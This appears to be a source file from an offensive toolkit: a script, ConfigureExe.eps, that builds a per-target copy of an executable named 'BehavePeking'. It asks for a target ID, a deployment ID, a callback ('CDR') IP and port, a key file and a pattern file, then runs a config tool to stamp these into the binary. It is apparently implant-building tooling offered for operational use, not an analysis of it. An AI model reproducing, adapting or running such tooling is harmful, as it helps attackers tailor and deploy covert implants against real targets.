86 lines
2.6 KiB
PostScript
86 lines
2.6 KiB
PostScript
|
#-----------------------------------------------------------------------------
|
||
|
# File: ConfigureExe.eps
|
||
|
#
|
||
|
# Configures the BehavePeking executable
|
||
|
#-----------------------------------------------------------------------------
|
||
|
|
||
|
@echo off;
|
||
|
|
||
|
if ($argc != 1) {
|
||
|
echo "Usage: $argv[0]";
|
||
|
return false;
|
||
|
}
|
||
|
|
||
|
string $basicExe = "BehavePeking.ex_";
|
||
|
string $configTool = "BehavePekingConfig.exe";
|
||
|
|
||
|
@record on;
|
||
|
|
||
|
# get full path to original file
|
||
|
ifnot (`getdirectory -resources`) {
|
||
|
echo "* ConfigureExecutable: Unable to get resources directory";
|
||
|
return false;
|
||
|
}
|
||
|
|
||
|
string $resDir = GetCmdData("dir");
|
||
|
ifnot (defined($resDir[0])) {
|
||
|
echo "* ConfigureExecutable: Unable to retrieve resources directory";
|
||
|
return false;
|
||
|
}
|
||
|
|
||
|
# get logs directory
|
||
|
ifnot (`getdirectory -logs`) {
|
||
|
echo "* ConfigureExecutable: Unable to get logs directory";
|
||
|
return false;
|
||
|
}
|
||
|
|
||
|
string $logsDir = GetCmdData("dir");
|
||
|
ifnot (defined($logsDir[0])) {
|
||
|
echo "* ConfigureExecutable: Unable to retrieve logs directory";
|
||
|
return false;
|
||
|
}
|
||
|
|
||
|
@hex on;
|
||
|
string $cdrIp;
|
||
|
int $cdrPort;
|
||
|
string $patternFile = "$resDir\\BehavePeking\\Patterns.xml";
|
||
|
string $keyFile = "$resDir\\BehavePeking\\BehavePeking.key";
|
||
|
int $targetId;
|
||
|
int $deployId;
|
||
|
bool $correct = false;
|
||
|
while ($correct == false) {
|
||
|
$targetId = GetInput("Enter the target ID");
|
||
|
$deployId = GetInput("Enter the deployment ID");
|
||
|
$cdrIp = GetInput("Enter the CDR IP");
|
||
|
$cdrPort = GetInput("Enter the CDR Port");
|
||
|
ifnot (prompt "Use the default pattern file?") {
|
||
|
$patternFile = GetInput("Enter the location of the pattern file");
|
||
|
}
|
||
|
ifnot (prompt "Use the default CDR key file?") {
|
||
|
$keyFile = GetInput("Enter the location of the CDR key file");
|
||
|
}
|
||
|
|
||
|
echo "";
|
||
|
echo " Target ID : $targetId";
|
||
|
echo " Deploy ID : $deployId";
|
||
|
echo " CDR : $cdrIp : $cdrPort";
|
||
|
echo "Pattern File : $patternFile";
|
||
|
echo " Key File : $keyFile";
|
||
|
echo "";
|
||
|
$correct = prompt "Is this correct?";
|
||
|
}
|
||
|
|
||
|
# set new filename
|
||
|
string $newFileName = "$logsDir\\$basicExe-$targetid-$deployId-$cdrIp-$cdrPort";
|
||
|
|
||
|
# configure the exe
|
||
|
@echo on;
|
||
|
ifnot (`local run -command "\\"$resDir\\BehavePeking\\Tools\\$configTool\\" -srcfile \\"$resDir\\BehavePeking\\$basicExe\\" -dstfile \\"$newFileName\\" -target $cdrIp $cdrPort -targetid $targetId -deploymentid $deployid -keyfile \\"$keyFile\\" -patternfile \\"$patternFile\\"" -redirect`) {
|
||
|
echo "* ConfigureExecutable: Configure failed";
|
||
|
return false;
|
||
|
}
|
||
|
|
||
|
echo "Exe configured ($newFileName)";
|
||
|
return SetCmdData(STRING, "file", $newFileName);
|
||
|
return true;
|